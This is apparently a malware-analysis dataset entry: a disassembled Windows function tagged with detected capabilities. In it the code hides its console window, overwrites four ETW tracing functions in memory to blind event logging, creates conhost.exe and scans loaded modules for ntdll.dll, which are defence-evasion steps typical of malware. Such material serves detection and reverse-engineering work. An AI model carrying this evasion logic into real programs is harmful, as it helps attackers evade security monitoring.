Function at 0x100036c0
Capabilities:
Create process on windows
Create process suspended
Enumerate process modules
Hide graphical window
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports
Set registry value

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x458
movdqa xmmword [rsp + 0x440], xmm15
movdqa xmmword [rsp + 0x430], xmm14
movdqa xmmword [rsp + 0x420], xmm13
movdqa xmmword [rsp + 0x410], xmm12
movdqa xmmword [rsp + 0x400], xmm11
movdqa xmmword [rsp + 0x3f0], xmm10
movdqa xmmword [rsp + 0x3e0], xmm9
movdqa xmmword [rsp + 0x3d0], xmm8
movapd xmmword [rsp + 0x3c0], xmm7
movdqa xmmword [rsp + 0x3b0], xmm6
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x1006d8f0]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x1006d943]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
pxor xmm6, xmm6
movdqa xmmword [rsp + 0xe0], xmm6
mov qword [rsp + 0xf0], 0
movdqa xmmword [rsp + 0x1a0], xmm6
movdqa xmmword [rsp + 0x200], xmm6
movdqa xmmword [rsp + 0x1f0], xmm6
movdqa xmmword [rsp + 0x1e0], xmm6
movdqa xmmword [rsp + 0x1d0], xmm6
movdqa xmmword [rsp + 0x1c0], xmm6
movdqa xmmword [rsp + 0x1b0], xmm6
mov dword [rsp + 0x1a0], 0x70
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x48], rax
lea rbx, [rsp + 0x1a0]
mov qword [rsp + 0x40], rbx
movdqu xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.conhost.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x188], rax
call sub.KERNEL32.dll_GetCurrentProcess
mov r14, rax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0x1a0], 8
movdqu xmmword [rsp + 0x1a8], xmm6
mov dword [rsp + 0xe0], 0
mov esi, 8
xor r15d, r15d
xor ebp, ebp
jmp 0x1000394e
mov r15, r12
mov qword [rsp + 0x1b0], r15
mov ebp, r12d
lea r8d, [r15*8]
mov dword [rsp + 0x20], 3
mov rcx, r14
mov rdx, rsi
lea r9, [rsp + 0xe0]
call sub.PSAPI.DLL_EnumProcessModulesEx
test eax, eax
je 0x10005d23
mov r12d, dword [rsp + 0xe0]
cmp r12d, ebp
jbe 0x10003a02
mov rdi, r12
sub rdi, r15
jbe 0x10003940
mov rax, qword [rsp + 0x1a8]
sub rax, r15
cmp rax, rdi
jb 0x100039d8
lea rcx, [rsi + r15*8]
cmp rdi, 2
jb 0x100039c9
lea r8, [rdi*8 - 8]
xor edx, edx
call sub.msvcrt.dll_memset
lea rax, [r15 + rdi]
lea rcx, [rsi + rax*8]
add rcx, 0xfffffffffffffff8
add r15, rdi
dec r15
mov qword [rcx], 0
inc r15
jmp 0x10003943
mov rcx, rbx
mov rdx, r15
mov r8, rdi
call fcn.10039210
mov rsi, qword [rsp + 0x1a0]
mov r15, qword [rsp + 0x1b0]
lea rcx, [rsi + r15*8]
cmp rdi, 2
jae 0x100039a8
jmp 0x100039c9
mov r14d, r12d
shr r14d, 3
cmp r15, r14
jb 0x10005eb2
mov edi, eax
cmp r12d, 8
jae 0x10004c25
mov eax, 8
mov qword [rsp + 0x80], rax
xor r12d, r12d
cmp qword [rsp + 0x1a8], 0
je 0x10003a4a
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
mov qword [rsp + 0xd0], r14
test edi, edi
je 0x10005ec6
test r12, r12
je 0x10004c83
mov rdx, r12
shl rdx, 4
mov rax, qword [rsp + 0x80]
add rdx, rax
lea rcx, [rsp + 0x1a0]
mov qword [rsp + 0x178], rcx
lea rbp, [0x1006eb40]
mov r14d, 0xff
lea r15, [0x1006ebcc]
lea rcx, str.library_alloc_src_str.rs
mov qword [rsp + 0xc8], rcx
movapd xmm7, xmmword [0x10047080]
movdqa xmm11, xmmword [0x100470c0]
movdqa xmm12, xmmword [0x100470d0]
movdqa xmm13, xmmword [0x100470e0]
movdqa xmm14, xmmword [0x100470f0]
movdqa xmm15, xmmword [0x10047100]
movdqa xmm8, xmmword [0x10047110]
movdqa xmm9, xmmword [0x10047120]
movdqa xmm6, xmmword [0x10047140]
lea rcx, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x198], rdx
jmp 0x10003b2a
mov rax, qword [rsp + 0xd8]
add rax, 0x10
cmp rax, qword [rsp + 0x198]
je 0x10004c83
movdqu xmm10, xmmword [rax]
mov qword [rsp + 0xd8], rax
mov rsi, qword [rax]
mov r8d, 0x208
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, qword [rsi]
pshufd xmm0, xmm10, 0xee
movq rdx, xmm0
mov qword [rsp + 0x180], rdx
mov r8, rdi
mov r9d, 0x104
call sub.PSAPI.DLL_GetModuleBaseNameW
test eax, eax
je 0x10005e31
mov r8d, eax
cmp eax, 0x105
jae 0x10005e76
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x1a0]
call fcn.10019740
mov rsi, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xf0]
mov r13, rax
test rax, rax
pxor xmm10, xmm10
je 0x10003c70
lea rbx, [rsi + r13]
xor edi, edi
mov rcx, rsi
jmp 0x10003bef
add rcx, 2
cmp rax, rbx
cmovne rax, rcx
mov r8d, 2
nop
add rdi, r8
mov rcx, rax
cmp rax, rbx
je 0x10003c70
lea rax, [rcx + 1]
movzx edx, byte [rcx]
mov r8d, 1
test dl, dl
jns 0x10003be0
cmp dl, 0xe0
jb 0x10003bcd
cmp dl, 0xed
jne 0x10003c31
cmp rax, rbx
je 0x10003c70
lea rax, [rcx + 2]
cmp rax, rbx
je 0x10003c70
cmp byte [rcx + 1], 0x9f
ja 0x10004950
add rcx, 3
mov r8d, 3
mov rax, rcx
jmp 0x10003be0
add rcx, 2
cmp rax, rbx
cmove rcx, rax
xor eax, eax
cmp rcx, rbx
setne al
add rax, rcx
mov r8d, 3
cmp dl, 0xf0
jb 0x10003be0
xor ecx, ecx
cmp rax, rbx
setne cl
add rax, rcx
mov r8d, 4
jmp 0x10003be0
mov rdi, rsi
test r13, r13
je 0x10003cc0
js 0x10005dff
movzx eax, byte [0x10080120]
mov rax, qword [0x100800c8]
test rax, rax
jne 0x10003ca6
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005df0
mov qword [0x100800c8], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
mov rbx, rax
test rax, rax
jne 0x10003cc5
jmp 0x10005df0
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, r13
call sub.msvcrt.dll_memcpy
mov rdi, r13
mov qword [rsp + 0x98], rbx
mov qword [rsp + 0xc0], rdi
cmp qword [rsp + 0xe8], 0
je 0x10003d02
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rsi
call fcn.1003965c
movabs rbx, 0x8080808080808080
test r13, r13
je 0x10003fa0
js 0x10005dff
movzx eax, byte [0x10080120]
mov rax, qword [0x100800c8]
test rax, rax
jne 0x10003d43
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005df0
mov qword [0x100800c8], rax
mov rcx, rax
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005df0
mov r12, rax
xor esi, esi
cmp r13, 0x10
jb 0x10003fa8
nop dword [rax + rax]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax + rsi]
movdqu xmm0, xmmword [rax + rsi]
pshufd xmm1, xmm0, 0xee
movq rax, xmm1
mov rdx, rax
or rdx, rcx
test rdx, rbx
jne 0x10003fa8
mov r8, rcx
mov r10, rcx
mov rdx, rcx
shr rdx, 0x28
mov r9, rcx
shr r9, 0x20
pshufd xmm1, xmm0, 0x44
movdqa xmm2, xmm0
psrlq xmm2, 0x10
psrlq xmm1, 0x18
movsd xmm1, xmm2
shr ecx, 8
movd xmm2, ecx
movdqa xmm3, xmm0
punpcklqdq xmm3, xmm2
andpd xmm1, xmm7
pand xmm3, xmm7
packuswb xmm3, xmm1
movd xmm1, r9d
pshufd xmm1, xmm1, 0x50
movdqa xmm2, xmmword [0x10047090]
pandn xmm2, xmm1
movd xmm1, edx
psllq xmm1, 0x28
movdqa xmm4, xmmword [0x100470a0]
pandn xmm4, xmm1
mov rcx, rax
shr rcx, 0x28
mov rdx, rax
shr rdx, 0x20
mov r9d, eax
shr r9d, 0x18
mov r11d, eax
shr r11d, 0x10
mov edi, eax
shr edi, 8
shr r8, 0x38
shr r10, 0x30
packuswb xmm3, xmm10
packuswb xmm3, xmm10
por xmm4, xmm2
por xmm4, xmm3
movdqa xmm2, xmmword [0x100470b0]
pand xmm4, xmm2
movd xmm1, r10d
psllq xmm1, 0x30
pandn xmm2, xmm1
por xmm2, xmm4
pand xmm2, xmm11
movd xmm1, r8d
psllq xmm1, 0x38
movdqa xmm3, xmm11
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm12
movd xmm1, eax
pshufd xmm1, xmm1, 0x44
movdqa xmm2, xmm12
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm13
movd xmm1, edi
pslldq xmm1, 9
movdqa xmm3, xmm13
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm14
movd xmm1, r11d
pslldq xmm1, 0xa
movdqa xmm2, xmm14
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm15
movd xmm1, r9d
pslldq xmm1, 0xb
movdqa xmm3, xmm15
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm8
movd xmm1, edx
pshufd xmm1, xmm1, 0
movdqa xmm2, xmm8
pandn xmm2, xmm1
por xmm2, xmm3
movd xmm1, ecx
pslldq xmm1, 0xd
movdqa xmm3, xmm9
pandn xmm3, xmm1
shr rax, 0x30
pand xmm2, xmm9
por xmm3, xmm2
pand xmm3, xmmword [0x10047130]
movd xmm1, eax
pslldq xmm1, 0xe
por xmm1, xmm3
pand xmm1, xmm6
movdqa xmm2, xmm6
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmmword [0x10047150]
movdqa xmm1, xmm0
pminub xmm1, xmmword [0x10047160]
pcmpeqb xmm1, xmm0
pand xmm1, xmmword [str._________________]
por xmm1, xmm2
movdqu xmmword [r12 + rsi], xmm1
lea rax, [rsi + 0x10]
add rsi, 0x20
cmp rsi, r13
mov rsi, rax
jbe 0x10003d70
mov rsi, rax
jmp 0x10003fa8
mov r12d, 1
xor esi, esi
mov rax, r13
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x1a0], r12
mov qword [rsp + 0x1a8], r13
mov qword [rsp + 0x1b0], rsi
sub rax, rsi
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x190], r13
jne 0x10003ff0
mov rsi, r13
jmp 0x10004885
mov rax, qword [rsp + 0x98]
lea rbx, [rax + rsi]
add rax, r13
mov qword [rsp + 0xa0], rax
xor edi, edi
mov r8, rbx
jmp 0x10004050
mov rsi, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
mov byte [rax + rsi], r12b
inc rsi
mov qword [rsp + 0x1b0], rsi
sub rdi, qword [rsp + 0x78]
mov r8, qword [rsp + 0xb8]
add rdi, r8
cmp r8, qword [rsp + 0xa0]
je 0x10004870
movzx r12d, byte [r8]
test r12b, r12b
js 0x100040b0
lea rax, [r8 + 1]
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
je 0x100041c0
cmp r12d, 0x110000
je 0x10004870
cmp r12d, 0x80
jae 0x10004130
lea eax, [r12 - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, r12d
mov r12d, ecx
jmp 0x10004499
mov eax, r12d
and eax, 0x1f
movzx edx, byte [r8 + 1]
and edx, 0x3f
cmp r12b, 0xdf
jbe 0x10004191
movzx ecx, byte [r8 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp r12b, 0xf0
jb 0x100043fa
movzx r12d, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r12d, 0x3f
or r12d, ecx
or r12d, eax
cmp r12d, 0x110000
je 0x10004870
lea rax, [r8 + 4]
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10004077
jmp 0x100041c0
mov eax, 0x57f
xor edx, edx
mov ecx, 0x57f
jmp 0x1000414c
mov rcx, rax
sub rax, rdx
jbe 0x10004490
shr rax, 1
add rax, rdx
xor r8d, r8d
lea r9, [0x1006f428]
cmp dword [r9 + rax*8], r12d
setne r8b
cmovb r8d, r14d
cmp r8b, 1
je 0x10004140
movzx edx, r8b
cmp edx, 0xff
jne 0x10004428
inc rax
mov rdx, rax
mov rax, rcx
sub rax, rdx
ja 0x1000414c
jmp 0x10004490
lea rcx, [r8 + 2]
shl eax, 6
or eax, edx
mov r12d, eax
mov rax, rcx
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10004077
nop word [rax + rax]
test rdi, rdi
je 0x100041e0
cmp rdi, qword [rsp + 0x88]
jae 0x100041da
cmp byte [rbx + rdi], 0xbf
jg 0x100041e0
jmp 0x10005db4
jne 0x10005db4
lea rdx, [rbx + rdi]
xor eax, eax
jmp 0x100041fe
mov al, 1
cmp ecx, 0x110000
jne 0x100043b7
cmp rdx, rbx
je 0x10004750
movzx ecx, byte [rdx - 1]
test cl, cl
js 0x10004220
dec rdx
jmp 0x10004283
movzx r8d, byte [rdx - 2]
cmp r8b, 0xc0
jge 0x10004250
movzx r9d, byte [rdx - 3]
cmp r9b, 0xc0
jge 0x1000425a
movzx r10d, byte [rdx - 4]
add rdx, 0xfffffffffffffffc
and r10d, 7
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
jmp 0x10004262
add rdx, 0xfffffffffffffffe
and r8d, 0x1f
jmp 0x1000426d
add rdx, 0xfffffffffffffffd
and r9d, 0xf
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp ecx, 0x110000
je 0x10004750
test al, al
jne 0x100041f0
mov r9d, ecx
shl r9d, 0xb
mov r8d, 0x23
xor eax, eax
mov r10d, 0x23
jmp 0x100042b8
mov r10, r8
sub r8, rax
jbe 0x100042f9
shr r8, 1
add r8, rax
mov r12d, dword [rbp + r8*4]
shl r12d, 0xb
xor r11d, r11d
cmp r12d, r9d
setne r11b
cmovb r11d, r14d
cmp r11b, 1
je 0x100042b0
movzx eax, r11b
inc r8
cmp eax, 0xff
jne 0x100042f6
mov rax, r8
mov r8, r10
sub r8, rax
ja 0x100042b8
jmp 0x100042f9
mov rax, r8
cmp rax, 0x22
ja 0x10005cf7
jne 0x10004313
mov r9d, 0x21
mov r8d, 0x36b
jmp 0x10004329
mov r8d, dword [rbp + rax*4 + 4]
shr r8d, 0x15
test rax, rax
je 0x100043af
lea r9, [rax - 1]
mov r10d, dword [rbp + r9*4]
mov r9d, 0x1fffff
and r10d, r9d
mov eax, dword [rbp + rax*4]
shr eax, 0x15
mov r9, rax
not r9
add r9, r8
je 0x10004385
mov r9d, ecx
sub r9d, r10d
dec r8
xor r11d, r11d
mov r10, rax
nop dword [rax + rax]
cmp r10, 0x36a
ja 0x10005129
movzx r12d, byte [r10 + r15]
add r11d, r12d
cmp r11d, r9d
ja 0x1000438f
inc r10
cmp r8, r10
jne 0x10004360
mov rax, r8
test al, 1
je 0x100041f0
jmp 0x1000439a
mov rax, r10
test al, 1
je 0x100041f0
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x100041fe
jmp 0x100043b7
xor r10d, r10d
jmp 0x10004337
call fcn.1000a910
test al, al
je 0x10004750
mov r8, rdi
mov rdx, qword [rsp + 0x88]
add r8, 2
je 0x10004550
mov rdx, qword [rsp + 0x88]
sub rdx, r8
jbe 0x1000454a
cmp byte [rbx + r8], 0xc0
jge 0x10004550
jmp 0x10005e8f
lea rdx, [r8 + 3]
shl eax, 0xc
or ecx, eax
mov rax, rdx
mov r12d, ecx
cmp r12d, 0x3a3
mov qword [rsp + 0x78], r8
mov qword [rsp + 0xb8], rax
jne 0x10004077
jmp 0x100041c0
lea rcx, [0x1006f428]
mov r12d, dword [rcx + rax*8 + 4]
mov eax, r12d
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
setb al
cmp r12d, 0x110000
sete cl
or cl, al
mov eax, 0x69
cmovne r12d, eax
je 0x10004490
lea rcx, [rsp + 0x1a0]
mov edx, r12d
call fcn.10006b00
mov dword [rsp + 0xe0], 0
mov r12d, 0x307
jmp 0x100044d8
cmp r12d, 0x80
jae 0x100044c4
mov rsi, qword [rsp + 0x1b0]
cmp rsi, qword [rsp + 0x1a8]
jne 0x10004016
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.100063f0
jmp 0x1000400e
mov dword [rsp + 0xe0], 0
cmp r12d, 0x800
jae 0x10004502
mov eax, r12d
shr eax, 6
or al, 0xc0
mov byte [rsp + 0xe0], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe1], r12b
mov r12d, 2
jmp 0x1000480c
mov eax, r12d
cmp r12d, 0x10000
jae 0x100047c8
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0xe0], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe1], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe2], r12b
mov r12d, 3
jmp 0x1000480c
jne 0x10005e8f
add r8, rbx
add rdx, r8
xor eax, eax
jmp 0x1000457e
add r8, 2
shl r9d, 6
or r9d, r11d
mov ecx, r9d
test al, al
je 0x10004596
nop dword [rax]
mov al, 1
cmp ecx, 0x110000
jne 0x10004742
cmp r8, rdx
je 0x1000478e
movzx ecx, byte [r8]
test cl, cl
js 0x10004600
inc r8
test al, al
jne 0x10004570
mov r10d, ecx
shl r10d, 0xb
mov r9d, 0x23
xor eax, eax
mov r11d, 0x23
jmp 0x100045bc
mov r11, r9
sub r9, rax
jbe 0x1000466c
shr r9, 1
add r9, rax
mov r13d, dword [rbp + r9*4]
shl r13d, 0xb
xor r12d, r12d
cmp r13d, r10d
setne r12b
cmovb r12d, r14d
cmp r12b, 1
je 0x100045b0
movzx eax, r12b
inc r9
cmp eax, 0xff
jne 0x10004669
mov rax, r9
mov r9, r11
sub r9, rax
ja 0x100045bc
jmp 0x1000466c
mov r9d, ecx
and r9d, 0x1f
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp cl, 0xdf
jbe 0x1000455a
movzx r10d, byte [r8 + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp cl, 0xf0
jb 0x1000471f
movzx ecx, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, r9d
cmp ecx, 0x110000
je 0x1000478e
add r8, 4
test al, al
jne 0x10004570
jmp 0x10004596
mov rax, r9
cmp rax, 0x22
ja 0x10005d0d
jne 0x10004686
mov r10d, 0x21
mov r9d, 0x36b
jmp 0x1000469c
mov r9d, dword [rbp + rax*4 + 4]
shr r9d, 0x15
test rax, rax
je 0x1000473a
lea r10, [rax - 1]
mov r11d, dword [rbp + r10*4]
mov r10d, 0x1fffff
and r11d, r10d
mov eax, dword [rbp + rax*4]
shr eax, 0x15
mov r10, rax
not r10
add r10, r9
je 0x100046f5
mov r10d, ecx
sub r10d, r11d
dec r9
xor r12d, r12d
mov r11, rax
nop dword [rax + rax]
cmp r11, 0x36a
ja 0x100051e3
movzx r13d, byte [r11 + r15]
add r12d, r13d
cmp r12d, r10d
ja 0x100046ff
inc r11
cmp r9, r11
jne 0x100046d0
mov rax, r9
test al, 1
je 0x10004570
jmp 0x1000470a
mov rax, r11
test al, 1
je 0x10004570
mov ecx, 0x110000
xor eax, eax
cmp ecx, 0x110000
je 0x1000457e
jmp 0x10004742
add r8, 3
shl r9d, 0xc
or r10d, r9d
mov ecx, r10d
test al, al
jne 0x10004570
jmp 0x10004596
xor r11d, r11d
jmp 0x100046aa
call fcn.1000a910
test al, al
je 0x1000478e
nop dword [rax + rax]
mov rax, qword [rsp + 0x1a8]
sub rax, rsi
mov r12w, 0x83cf
cmp rax, 2
jae 0x100047b0
mov r8d, 2
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
call fcn.10006550
mov rax, qword [rsp + 0x1a0]
mov rsi, qword [rsp + 0x1b0]
jmp 0x100047b5
mov rax, qword [rsp + 0x1a8]
sub rax, rsi
mov r12w, 0x82cf
cmp rax, 1
jbe 0x10004766
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x70], rax
mov word [rax + rsi], r12w
add rsi, 2
jmp 0x1000402a
shr eax, 0x12
or al, 0xf0
mov byte [rsp + 0xe0], al
mov eax, r12d
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe1], al
mov eax, r12d
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0xe2], al
and r12b, 0x3f
or r12b, 0x80
mov byte [rsp + 0xe3], r12b
mov r12d, 4
mov rax, qword [rsp + 0x1a8]
mov rsi, qword [rsp + 0x1b0]
sub rax, rsi
cmp rax, r12
jae 0x1000483f
lea rcx, [rsp + 0x1a0]
mov rdx, rsi
mov r8, r12
call fcn.10006550
mov rsi, qword [rsp + 0x1b0]
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
lea rcx, [rax + rsi]
lea rdx, [rsp + 0xe0]
mov r8, r12
call sub.msvcrt.dll_memcpy
add rsi, r12
jmp 0x1000402a
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x70], rax
mov r13, qword [rsp + 0x1a8]
mov rbx, qword [rsp + 0xc0]
movzx eax, byte [0x10080120]
mov rax, qword [0x100800c8]
test rax, rax
jne 0x100048b5
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005e06
mov qword [0x100800c8], rax
mov r8d, 9
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005e06
movabs rcx, 0x6c642e6c6c64746e
mov qword [rax], rcx
mov byte [rax + 8], 0x6c
cmp rsi, 9
jne 0x10004903
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx]
xor rcx, qword [rax]
movzx edx, byte [rdx + 8]
xor dl, byte [rax + 8]
movzx edx, dl
or rdx, rcx
je 0x10005bec
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, rax
call fcn.1003965c
test r13, r13
je 0x1000492c
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, qword [rsp + 0x70]
call fcn.1003965c
test rbx, rbx
je 0x10003b10
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, qword [rsp + 0x98]
call fcn.1003965c
jmp 0x10003b10
test r13, r13
js 0x10005dff
movzx eax, byte [0x10080120]
mov rax, qword [0x100800c8]
test rax, rax
jne 0x10004984
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
mov r12, r13
je 0x10005f9f
mov qword [0x100800c8], rax
mov rcx, rax
xor edx, edx
mov r12, r13
mov r8, r13
call sub.KERNEL32.dll_HeapAlloc
test rax, rax
je 0x10005f9f
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r12
sub r12, rdi
jb 0x1000614d
mov rcx, rax
mov rdx, rsi
mov r8, rdi
mov qword [rsp + 0x78], rax
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x68], rdi
mov r10, rdi
cmp r12, 2
ja 0x100049f3
mov r8d, 3
lea rcx, [rsp + 0x58]
mov rdx, rdi
call fcn.1001a4b0
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x68], r10
add rdi, 3
cmp rdi, r13
ja 0x10005fc2
cmp rdi, r13
je 0x10004bc1
lea r9, [rsi + rdi]
mov r12, rdi
mov qword [rsp + 0xb8], r9
jmp 0x10004a5f
add r9, 2
cmp rax, rbx
cmovne rax, r9
mov r8d, 2
nop word cs:[rax + rax]
add r12, r8
mov r9, rax
cmp rax, rbx
je 0x10004bc4
lea rax, [r9 + 1]
movzx edx, byte [r9]
mov r8d, 1
test dl, dl
jns 0x10004a50
cmp dl, 0xe0
jb 0x10004a30
cmp dl, 0xed
jne 0x10004aa7
cmp rax, rbx
je 0x10004bc4
lea rax, [r9 + 2]
cmp rax, rbx
je 0x10004bc4
cmp byte [r9 + 1], 0x9f
ja 0x10004ade
add r9, 3
mov r8d, 3
mov rax, r9
jmp 0x10004a50
add r9, 2
cmp rax, rbx
cmove r9, rax
xor eax, eax
cmp r9, rbx
setne al
add rax, r9
mov r8d, 3
cmp dl, 0xf0
jb 0x10004a50
xor edx, edx
cmp rax, rbx
setne dl
add rax, rdx
mov r8d, 4
jmp 0x10004a50
mov r8, r12
sub r8, rdi
jb 0x10006127
cmp r12, r13
ja 0x1000613b
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, r10
cmp rax, r8
jae 0x10004b2f
lea rcx, [rsp + 0x58]
mov rdx, r10
mov rdi, r8
call fcn.1001a4b0
mov r10, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov r8, rdi
jmp 0x10004b37
mov qword [rsp + 0xa0], rdx
mov qword [rsp + 0x70], r10
mov qword [rsp + 0x78], rcx
add rcx, r10
mov rdx, qword [rsp + 0xb8]
mov rdi, r8
call sub.msvcrt.dll_memcpy
mov r10, qword [rsp + 0x70]
add r10, rdi
mov qword [rsp + 0x68], r10
mov rax, qword [rsp + 0xa0]
sub rax, r10
cmp rax, 2
ja 0x10004b91
mov r8d, 3
lea rcx, [rsp + 0x58]
mov rdx, r10
call fcn.1001a4b0
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
jmp 0x10004b96
mov rcx, qword [rsp + 0x78]
mov byte [rcx + r10 + 2], 0xbd
mov word [rcx + r10], 0xbfef
add r10, 3
mov qword [rsp + 0x68], r10
add r12, 3
mov rdi, r12
cmp r12, r13
jbe 0x10004a16
jmp 0x10005fc5
mov rdi, r13
mov r8, r13
sub r8, rdi
mov rax, qword [rsp + 0x60]
sub rax, r10
cmp rax, r8
jae 0x10004bf3
lea rcx, [rsp + 0x58]
mov rdx, r10
mov r13, r8
call fcn.1001a4b0
mov rcx, qword [rsp + 0x58]
mov r10, qword [rsp + 0x68]
jmp 0x10004bf6
mov r13, r8
add rdi, rsi
add rcx, r10
mov rdx, rdi
mov r8, r13
mov rdi, r10
call sub.msvcrt.dll_memcpy
add r13, rdi
mov rbx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
test rbx, rbx
jne 0x10003cd6
jmp 0x10003c73
mov rbx, r14
shl rbx, 4
movzx eax, byte [0x10080120]
mov rcx, qword [0x100800c8]
test rcx, rcx
jne 0x10004c57
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x10005ef2
mov rcx, rax
mov qword [0x100800c8], rax
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapAlloc
mov qword [rsp + 0x80], rax
test rax, rax
je 0x10005ef2
cmp r14d, 1
jne 0x10005156
xor eax, eax
jmp 0x100051a5
cmp qword [rsp + 0xd0], 0
je 0x10004ca4
mov rcx, qword [0x100800c8]
xor edx, edx
mov r8, qword [rsp + 0x80]
call fcn.1003965c
mov rcx, qword [rsp + 0xa8]
call sub.KERNEL32.dll_CloseHandle
mov dword [rsp + 0x94], eax
test eax, eax
je 0x10005c6f
xor eax, eax
mov qword [rsp + 0x180], rax
movzx eax, byte [0x10080120]
mov rcx, qword [0x100800c8]
test rcx, rcx
